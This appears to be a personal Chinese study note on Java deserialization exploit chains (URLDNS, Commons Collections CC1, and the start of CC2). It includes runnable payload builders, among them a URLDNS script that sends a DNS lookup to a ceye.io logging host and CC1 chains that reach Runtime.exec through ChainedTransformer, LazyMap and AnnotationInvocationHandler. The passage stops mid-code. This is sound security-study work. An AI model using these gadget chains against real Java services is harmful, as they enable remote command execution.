URLDNS and CCs unserialize chains

个人Notes,不具备分享性

本文目的:

  1. URLDNS and CCs unserialize chains
  2. 补充反序列化知识

URLDNS

利用条件

  • JDK 版本 :
    • 无限制
  • 依赖限制 :
    • 无限制

Gadget Chain

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode() 
 *              // java.net.URLStreamHandler
 *             getHostAddress(u); // 从而 触发 DNSLog

漏洞原理

分成两部分,第一部分是 HashMap 在反序列化时,会触发内部 key 的hash计算;第二部分,为URL类在hashCode时,会触发 getHostAdderss ,从而触发 DNSLOG。

根据 ysoserial 可知 生成有效负载的代码为

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

注意,是将 URL.class 作为 hashMap 的 Key
此外,ht.put 也会导致 hashCode的计算。

  • hashMap
    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

hash(key) 等于 key.hashcode()

  • readObject
    image-20230324115725770

测试脚本

package xyz.fe1w0.java.basic.serialize.urldns;

import xyz.fe1w0.java.basic.serialize.UserDefineSerialize;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;

public class Exploit {

    public static void main(String[] args) throws Exception {
        Date nowTime = new Date();
        HashMap hashmap = new HashMap();
        URL url = new URL("http://fe1w0.vui3pv.ceye.io");
        SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
        // 骚,这样的话,就避免了第一次put时,hashCode 触发 urlDns 的行为。
        Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
        filed.setAccessible(true);  // 绕过Java语言权限控制检查的权限
        filed.set(url, 111);
        hashmap.put(url, 111);
        System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
        filed.set(url, -1);

        try {
            FileOutputStream fileOutputStream = new FileOutputStream("urlDns.ser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(hashmap);
            objectOutputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("urlDns.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            fileInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

有两种方式实现屏蔽:

  1. 自定义URL.class handle,其中将 openConnection 和 getHostAddress 置空。
  2. HashMap 中 put 会触发hash,但若 node 已有 hashCode (url.hashcode != -1),则直接 push 时不再进行具体的hash计算(即触发urlDns)
    具体分析见 References 中的 seebug 文章

Common Collection

Common Collections 是 Java 集合框架的一个扩展,提供了许多有用的数据结构和算法。它包含了许多 Java 集合框架中没有的数据结构,如 BloomFilter、Multiset、BiMap 等等。同时,它还提供了一些 Java 集合框架中已有的数据结构的改进版本,如 ArrayList、HashMap 等等。Common Collections 还提供了一些有用的算法,如排列、组合、二分查找等等。使用 Common Collections 可以让 Java 开发者更加方便地处理常见的数据结构和算法问题。

官网:https://commons.apache.org/proper/commons-collections/

CC1

利用条件

  • JDK 版本 :
    • Java < 8u71
  • 依赖限制 :
    • CommonsCollections <= 3.2.1

Gadget Chain

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

漏洞原理

分成以下部分来进行分析

  • Transformer
  • AnnotationInvocationHandler
  • LazyMap

这里推荐 javasec 反序列化 章节,便于理解
Obsidian 双链 [[JavaSec.org@Apache Commons Collection 反序列化漏洞]]

Transformer

ConstantTransformer

源代码:

public class ConstantTransformer implements Transformer, Serializable {

    private static final long serialVersionUID = 6374440726369055124L;

    /** 每次都返回null */
    public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

    /** The closures to call in turn */
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }

        return new ConstantTransformer(constantToReturn);
    }

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }

    public Object getConstant() {
        return iConstant;
    }

}

ConstantTransformer,常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入Runtime.class进行转换返回的依旧是Runtime.class

package xyz.fe1w0.java.basic.serialize.cc.demo;  
  
import org.apache.commons.collections.functors.ConstantTransformer;  
  
public class DemoConstantTransformer {  
    public static void main(String[] args) throws Exception {  
        Object obj = Runtime.class;  
        ConstantTransformer transformer = new ConstantTransformer(obj);  
        System.out.println(transformer.transform(obj));  
        System.out.println(transformer.getConstant());  
    }  
}

InvokerTransformer

InvokerTransformertransform 方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。

相关源代码

public class InvokerTransformer implements Transformer, Serializable {

    private static final long serialVersionUID = -8653385846894047688L;

    /** 要调用的方法名称 */
    private final String iMethodName;

    /** 反射参数类型数组 */
    private final Class[] iParamTypes;

    /** 反射参数值数组 */
    private final Object[] iArgs;

    // 省去多余的方法和变量

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }


    // 反射 Method
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }

        try {
              // 获取输入类的类对象
            Class cls = input.getClass();

              // 通过输入的方法名和方法参数,获取指定的反射方法对象
            Method method = cls.getMethod(iMethodName, iParamTypes);

              // 反射调用指定的方法并返回方法调用结果
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            // 省去异常处理部分代码
        }
    }
}

利用反射Method的方式,来命令执行代码

package xyz.fe1w0.java.basic.serialize.cc.demo;  
  
import org.apache.commons.collections.functors.InvokerTransformer;  
  
public class DemoInvokerTransformer {  
  
    // 使用 `InvokerTransformer` 实现调用本地命令执行  
    public static void main(String[] args) {  
        String command = "";  
        if (System.getProperty("os.name").toLowerCase().indexOf("mac") >= 0) {  
            command = "open /System/Applications/Calculator.app";  
        } else {  
            command = "calc";  
        }  
  
        // 构建 transformer 对象  
        InvokerTransformer transformer = new InvokerTransformer(  
                "exec", new Class[]{String.class}, new Object[]{command}  
        );  
  
        // 传入 Runtime 实例,执行对象转换操作  
        transformer.transform(Runtime.getRuntime());  
    }  
  
}

在真实场景中,无法直接构造出InvokerTransformer.transform,需要利用 ChainedTransformer 来构建攻击链。

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer 类封装了 Transformer 的链式调用,我们只需要传入一个 Transformer 数组,ChainedTransformer就会依次调用每一个Transformertransform方法。

相关源代码

package xyz.fe1w0.java.basic.serialize.cc.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class DemoChainedTransformer {

    // ChainedTransformer 中的 public ChainedTransformer(Transformer[] transformers)
    // 构造函数如下:

    //    public ChainedTransformer(Transformer[] transformers) {
    //        super();
    //        iTransformers = transformers;
    //    }
    //
    //    public Object transform(Object object) {
    //        for (int i = 0; i < iTransformers.length; i++) {
    //            object = iTransformers[i].transform(object);
    //        }
    //
    //        return object;
    //    }


    private static String command = "open /System/Applications/Calculator.app";

    public static Transformer getChainedTransformer() {
        Transformer[] transforms = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
        };

        // 创建 ChainedTransformer 调用链对象
        // 需要注意循环体内 `object = iTransformers[i].transform(object);`
        // 可以用于构建调用链
        Transformer transformedChain = new ChainedTransformer(transforms);

        return transformedChain;
    }

    public static void main(String[] args) {
        try {
//        testOne();
//        testTwo();
            testThree();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void testOne() {

        InvokerTransformer[] invokerTransformers = new InvokerTransformer[]{new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})};

        ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransformers);
        chainedTransformer.transform(Runtime.getRuntime());
    }

    public static void testTwo() {
        // 基本都采用反射的方式来调用。
//        try {
//            Runtime.getRuntime().exec(command);
//        } catch (Exception e) {
//            e.printStackTrace();
//        }

        Transformer[] transforms = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
        };

        // 创建 ChainedTransformer 调用链对象
        // 需要注意循环体内 `object = iTransformers[i].transform(object);`
        // 可以用于构建调用链
        Transformer transformedChain = new ChainedTransformer(transforms);

        // 执行对象转换操作
        Object transform = transformedChain.transform(null);
    }

    public static void testThree() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        // ChainedTransformer 调用链分析

        Class<?> runtimeClass = Runtime.class;

//        new InvokerTransformer("getMethod", new Class[]{
//                 String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
//         );

        Class  cls1       = runtimeClass.getClass();
        Method getMethod  = cls1.getMethod("getMethod", new Class[]{String.class, Class[].class});
        Method getRuntime = (Method) getMethod.invoke(runtimeClass, new Object[]{"getRuntime", new Class[0]});

        // new InvokerTransformer("invoke", new Class[]{
        //         Object.class, Object[].class}, new Object[]{null, new Object[0]}
        // )

        Class   cls2         = getRuntime.getClass();
        Method  invokeMethod = cls2.getMethod("invoke", new Class[]{Object.class, Object[].class});
        Runtime runtime      = (Runtime) invokeMethod.invoke(getRuntime, new Object[]{null, new Class[0]});

        // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        Class  cls3       = runtime.getClass();
        Method execMethod = cls3.getMethod("exec", new Class[]{String.class});
        execMethod.invoke(runtime, command);
    }
}

通过构建ChainedTransformer调用链,最终间接的使用InvokerTransformer完成了反射调用Runtime.getRuntime().exec(cmd)的逻辑。

ChainedTransformer 调用链的第二个环节需要反射invoke的原因,是第一个环节输出为Method getRuntime,且反射RCE需要 Runtime实例,如第三个环节 。

TransformedMap

通过上面小结,我们可以利用ChainedTransformer来构造调用链,且 ChainedTransformer.transform 函数调用每个InvokerTransformer.transform,依次构成

  1. Method: Runtime.class.getMethod("getRuntime")
  2. Instance: Runtime.getRuntime()
  3. Output: runtime.exec(command)

以此产生两个问题:

  1. 找到某个变量可以存储ChainedTransformer
  2. 且该变量可以通过某种方式调用ChainedTransformer 中的 transform

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap:

javasec.org

相关源代码

private static final long serialVersionUID = 7023152376788900464L;

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      return new TransformedMap(map, keyTransformer, valueTransformer);
}

public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      // 省去实现代码
}

// 调用 transform 的相关函数
protected Object transformKey(Object object) {  
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);  
}  
  
protected Object transformValue(Object object) {  
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);  
}

protected Object checkSetValue(Object value) {  
    return this.valueTransformer.transform(value);  
}

根据源代码来看,有三个函数涉及到tansformerTransformedMap 中调用这些函数的函数如下:

// transformKey:
protected Map transformMap(Map map) {};
public Object put(Object key, Object value) {};

// transformValue:
protected Map transformMap(Map map) {};
public Object put(Object key, Object value) {};

// checkSetValue:
public Object setValue(Object value){}; // 父类(AbstractInputCheckedMapDecorator.java)中的函数。

// 间接调用(transformKey & transformValue):
public void putAll(Map mapToCopy){};

只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用ChainedTransformer类的transform方法,从而也就会触发命令执行。

AnnotationInvocationHandler (JDK 1.7)

sun.reflect.annotation.AnnotationInvocationHandler implement java.lang.reflect.InvocationHandler
and java.io.Serializable interface,and rewrite readObject method。

readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

AnnotationInvocationHandler 源代码(部分)

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {  
    Class[] var3 = var1.getInterfaces();  
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {  
        this.type = var1;  
        // 对于 TransfromedMap , this.memberValues 要等于 TransfromedMap
        // 以此触发 readObject 中的 var5.setValue()
        this.memberValues = var2;  
    } else {  
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");  
    }  
}


public Object invoke(Object var1, Method var2, Object[] var3) {  
    String var4 = var2.getName();  
    Class[] var5 = var2.getParameterTypes();  
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {  
        return this.equalsImpl(var3[0]);  
    } else if (var5.length != 0) {  
        throw new AssertionError("Too many parameters for an annotation method");  
    } else {  
        switch (var4) {  
            case "toString":  
                return this.toStringImpl();  
            case "hashCode":  
                return this.hashCodeImpl();  
            case "annotationType":  
                return this.type;  
            default:  
                // 触发 LazyMap 中的 get 函数
                Object var6 = this.memberValues.get(var4);  
                if (var6 == null) {  
                    throw new IncompleteAnnotationException(this.type, var4);  
                } else if (var6 instanceof ExceptionProxy) {  
                    throw ((ExceptionProxy)var6).generateException();  
                } else {  
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {  
                        var6 = this.cloneArray(var6);  
                    }  
  
                    return var6;  
                }  
        }  
    }  
}


private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {  
    var1.defaultReadObject();  
    AnnotationType var2 = null;  

    // 要求构造函数中的第一个参数的类型 为 AnnotationType 
    try {  
        var2 = AnnotationType.getInstance(this.type);  
    } catch (IllegalArgumentException var9) {  
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");  
    }  
  
    Map var3 = var2.memberTypes();  
    // 触发 handler 中的invoke,从而出发 LazyMap 中的get
    Iterator var4 = this.memberValues.entrySet().iterator();  

    // 需要 TransformedMap Map 非空
    // TransformedMap 中 原句
    // * The Map put methods and Map.Entry v method are affected by this class.
    while(var4.hasNext()) {  
        Map.Entry var5 = (Map.Entry)var4.next();  
        String var6 = (String)var5.getKey();  
        Class var7 = (Class)var3.get(var6);  
        if (var7 != null) {  
            Object var8 = var5.getValue();  
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {  
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));  
            }  
        }  
    }  
  
}

根据Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链王嘟嘟的博客-CSDN博客_annotationinvocationhandler 来看,得JDK 1.7 才行能漏洞复现,主要原因是 AnnotationInvocationHandler 在1.8之后进行了修改,readObject被改了。

到此 POC 为:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
        ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "zeo");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

对应的Gadget Chain为

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    TransformedMap.setValue()
      ChainedTransformer.transform()
        ConstantTransformer.transform()
        InvokerTransformer.transform()
          Method.invoke()
            Class.getMethod()
        InvokerTransformer.transform()
          Method.invoke()
            Runtime.getRuntime()
        InvokerTransformer.transform()
          Method.invoke()
            Runtime.exec()
        ConstantTransformer.transform()

但需要注意的是,该方法在高版本中也修复了(1.8.0_332)
修改为:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ObjectInputStream.GetField fields = s.readFields();

        @SuppressWarnings("unchecked")
        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
        @SuppressWarnings("unchecked")
        Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(t);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
        Map<String, Object> mv = new LinkedHashMap<>();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        // 无 map.entry setValue 函数调用
        for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
            String name = memberValue.getKey();
            Object value = null;
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    value = new AnnotationTypeMismatchExceptionProxy(
                                objectToString(value))
                        .setMember(annotationType.members().get(name));
                }
            }
            mv.put(name, value);
        }

        UnsafeAccessor.setType(this, t);
        UnsafeAccessor.setMemberValues(this, mv);
    }

LazyMap

LazyMap 源代码

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  
  
package org.apache.commons.collections.map;  
  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.io.Serializable;  
import java.util.Map;  
import org.apache.commons.collections.Factory;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.FactoryTransformer;  
  
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {  
    private static final long serialVersionUID = 7990956402564206740L;  
    protected final Transformer factory;  
  
    public static Map decorate(Map map, Factory factory) {  
        return new LazyMap(map, factory);  
    }  
  
    public static Map decorate(Map map, Transformer factory) {  
        return new LazyMap(map, factory);  
    }  
  
    protected LazyMap(Map map, Factory factory) {  
        super(map);  
        if (factory == null) {  
            throw new IllegalArgumentException("Factory must not be null");  
        } else {  
            this.factory = FactoryTransformer.getInstance(factory);  
        }  
    }  
  
    protected LazyMap(Map map, Transformer factory) {  
        super(map);  
        if (factory == null) {  
            throw new IllegalArgumentException("Factory must not be null");  
        } else {  
            this.factory = factory;  
        }  
    }  
  
    private void writeObject(ObjectOutputStream out) throws IOException {  
        out.defaultWriteObject();  
        out.writeObject(super.map);  
    }  
  
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
        in.defaultReadObject();  
        super.map = (Map)in.readObject();  
    }  

    // 注意 get 函数将 调用 this.factory.transform(key)
    public Object get(Object key) {  
        if (!super.map.containsKey(key)) {  
            Object value = this.factory.transform(key);  
            super.map.put(key, value);  
            return value;  
        } else {  
            return super.map.get(key);  
        }  
    }  
}

Protected 修饰的方法  对同一包内的类和所有子类可见,导致无法直接用 LazyMap 构造函数

  • triggerOne – 直接利用LazyMap触发漏洞
/*  
直接利用LazyMap触发漏洞  
 */public static void triggerOne() {  
    try {  
        String cmd = "calc";  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{  
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}  
                ),  
                new InvokerTransformer("invoke", new Class[]{  
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}  
                ),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})  
        };  
  
        Transformer transformerChain  = new ChainedTransformer(transformers);  
  
        Map innerMap = new HashMap();  
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  
  
        // 触发  
        lazyMap.get("key");  
  
    } catch (Exception e) {  
        e.printStackTrace();  
    }  
}

测试脚本

  • 整体的触发漏洞代码如下:
package xyz.fe1w0.java.basic.serialize.cc.one.lazymap;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Demo {

    public static void main(String[] args) {
        triggerTwo();
    }

    /*
    直接利用LazyMap触发漏洞
     */
    public static void triggerOne() {
        try {
            String cmd = "calc";

            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                    ),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{null, new Object[0]}
                    ),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
            };

            Transformer transformerChain  = new ChainedTransformer(transformers);

            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

            // 触发 get method
            lazyMap.get("key");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /*
    利用 AnnotationInvocationHandler
     */
    public static void triggerTwo() {
        try {
            String cmd = "calc";

            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                    ),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{null, new Object[0]}
                    ),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
            };

            Transformer transformerChain  = new ChainedTransformer(transformers);

            Map map = new HashMap();
            Map lazyMap = LazyMap.decorate(map, transformerChain);

            // 反射 AnnotationInvocationHandler 构造函数
            // AnnotationInvocationHandler 为 package-private class
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);

            // 为什么要调用两次 AnnotationInvocationHandler

            // Step 1: 利用 lazyMap 构造 Proxy Instance
            // 使在Proxy invoke method时,可以自动触发 AnnotationInvocationHandler 中 inovke method 的 Object var6 = this.memberValues.get(var4);
            // this.memberValues 为 lazyMap
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

            Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);

            // Step 2: 涉及到反序列化
            // 在反序列化时,readObject 中会触发 Iterator var4 = this.memberValues.entrySet().iterator();
            // 其中当this.memberValues为 ProxyNewInstance 时,this.memberValues.entrySet() 会触发 InvokeMethod.
            // 即调用 AnnotationInvocationHandler 中的 invoke 函数,并接着调用lazyMap中的get,见step. 1
        
            handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

            serialize(handler);
            unserialize("ser.bin");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

结合triggerTwo,再次回顾 cc1 中的 gadget chain

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

CC2

利用条件

  • 依赖限制 :
    • CommonsCollections == 4.0

利用条件比较苛刻:首先 CommonsCollections3 中无法使用,因为其 TransformingComparator 无法序列化。其次只有 CommonsCollections4-4.0 可以使用,因为 CommonsCollections4 其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。

Gadget Chain

  ObjectInputStream.readObject()
    PriorityQueue.readObject()
      ...
        TransformingComparator.compare()
          InvokerTransformer.transform()
              TemplatesImpl.newTransformer()
                TemplatesTmpl.getTransletInstance()
                  TemplatesTmpl.defineTransletClasses()
                  TemplatesTmpl.newInstance()
                      ClassInitializer()
                      Runtime.exec()

漏洞原理

CC2 开始,就是我之前没有接触过的内容了。
先模仿,中间加入思考,后实现

javassist

原始手册:
Javassist Tutorial

Local Notes:
[[Javassist 动态编程]]

Javassist 中最为重要的是ClassPool、CTClass、CtMethod 以及 CtField 这 4 个类:

  • ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。
  • CtClass:CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPoold的一些方法获得。
  • CtMethods:表示类中的方法。
  • CtFields:表示类中的字段。
  • ClassClassPath : 该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径
  • CtConstructor :CtConstructor的实例表示一个构造函数。它可能代表一个静态构造函数(类初始化器)。

Demo 脚本

package xyz.fe1w0.java.basic.serialize.cc.two;

import javassist.*;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class JavassistDemo {

    public static void main(String[] args) throws Exception {
        createClassPerson();
    }

    public static void createClassPerson() throws Exception {
        //在默认系统搜索路径获取ClassPool对象。
        ClassPool pool = ClassPool.getDefault();

        // 创建 空类
        CtClass cc = pool.makeClass("Person");

        // Person Field: private String name
        CtField nameField = new CtField(pool.get("java.lang.String"), "name", cc);
        nameField.setModifiers(Modifier.PRIVATE);

        // 初始值 为 fe1w0
        // 注意为什么 这里的 constant 不会影响到 Person 中 modifier
        // 这里的 constant 指的是,字符串 "xzaslxr" 为 常量
        cc.addField(nameField, CtField.Initializer.constant("xzaslxr"));

        // 设置 getter setter 方法
        cc.addMethod(CtNewMethod.setter("setName", nameField));
        cc.addMethod(CtNewMethod.getter("getName", nameField));

        // 设置 无参数 构造函数
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
        cons.setBody("{name = \"fe1w0\";}");
        cc.addConstructor(cons);

        // 添加有参的构造函数
        cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
        // $0 = this
        // $1,$2,$3... 代表方法参数
        cons.setBody("{$0.name = $1;}");
        cc.addConstructor(cons);

        // 创建一个名为printName方法,无参数,无返回值,输出name值
        CtMethod printNameMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
        printNameMethod.setModifiers(Modifier.PUBLIC);
        printNameMethod.setBody("{System.out.println(\"Name: \" + $0.name);}");
        //在方法体前后加入(注意必须有了方法体才能插入)
        printNameMethod.insertBefore("System.out.println(\"before:\");");
        printNameMethod.insertAfter("System.out.println(\"after:\");");
        cc.addMethod(printNameMethod);

        // 添加 static 代码段
        cc.makeClassInitializer().insertBefore("{System.out.println(\"static\");}");

        //重新设置一下类名
        String randomClassName = "Person" + System.nanoTime();
        cc.setName(randomClassName);

        // 保存修改
        cc.writeFile();
        cc.detach();

        // 构造该类
        Class personClass = cc.toClass();
        Constructor constructor = personClass.getDeclaredConstructor(String.class);
        Object instance = constructor.newInstance("new person");

        // 反射加载 printName
        Method method = personClass.getDeclaredMethod("printName");
        method.invoke(instance);
    }
}

Person.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

public class Person76468689117000 {
    private String name = "xzaslxr";

    public void setName(String var1) {
        this.name = var1;
    }

    public String getName() {
        return this.name;
    }

    public Person76468689117000() {
        this.name = "fe1w0";
    }

    public Person76468689117000(String var1) {
        this.name = var1;
    }

    public void printName() {
        System.out.println("before:");
        System.out.println("Name: " + this.name);
        Object var2 = null;
        System.out.println("after:");
    }

    static {
        System.out.println("static");
    }
}

比较好奇,为什么会 before after 之后,会引入 Object var2 = null

PriorityQueue : heapify -> compare

ysoserial 中的 cc2 脚本为:

    public Queue<Object> getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);
